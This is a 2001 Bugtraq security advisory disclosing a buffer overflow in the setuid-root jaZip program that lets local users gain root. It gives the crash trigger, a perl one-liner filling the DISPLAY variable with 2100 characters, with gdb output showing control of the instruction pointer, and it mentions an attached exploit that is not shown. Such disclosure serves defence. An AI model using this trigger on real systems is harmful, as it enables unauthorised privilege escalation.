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Vulnerability in jaZip.
From: teleh0r <teleh0r () DOGLOVER COM>
Date: Sun, 14 Jan 2001 17:05:48 +0000

Dear, Bugtraq.

jaZip is a program for managing an Iomega Zip or Jaz drive.
It is often installed setuid root - and because of a buffer
overflow it is possible for regular users to become root.

Please excuse me if this was know. Please note that I can not
guarantee that this information is correct.

Tested rpm:

  [root () localhost /root]# export DISPLAY=`perl -e '{print "A"x"2100"}'`
  [root () localhost /root]# gdb /usr/X11R6/bin/jazip
  GNU gdb 19991004
  Copyright 1998 Free Software Foundation, Inc.
  (gdb) r
  Starting program: /usr/X11R6/bin/jazip

  Program received signal SIGSEGV, Segmentation fault.
  0x41414141 in ?? ()
  [teleh0r () localhost teleh0r]$ rpm -q jaZip
  [teleh0r () localhost teleh0r]$ ./jazip-exploit.pl
  Address: 0xbffff7ac

Exploit attached.

Sincerely yours,

To avoid criticism, do nothing, say nothing, be nothing.
                -- Elbert Hubbard

Attachment: jazip-exploit.pl

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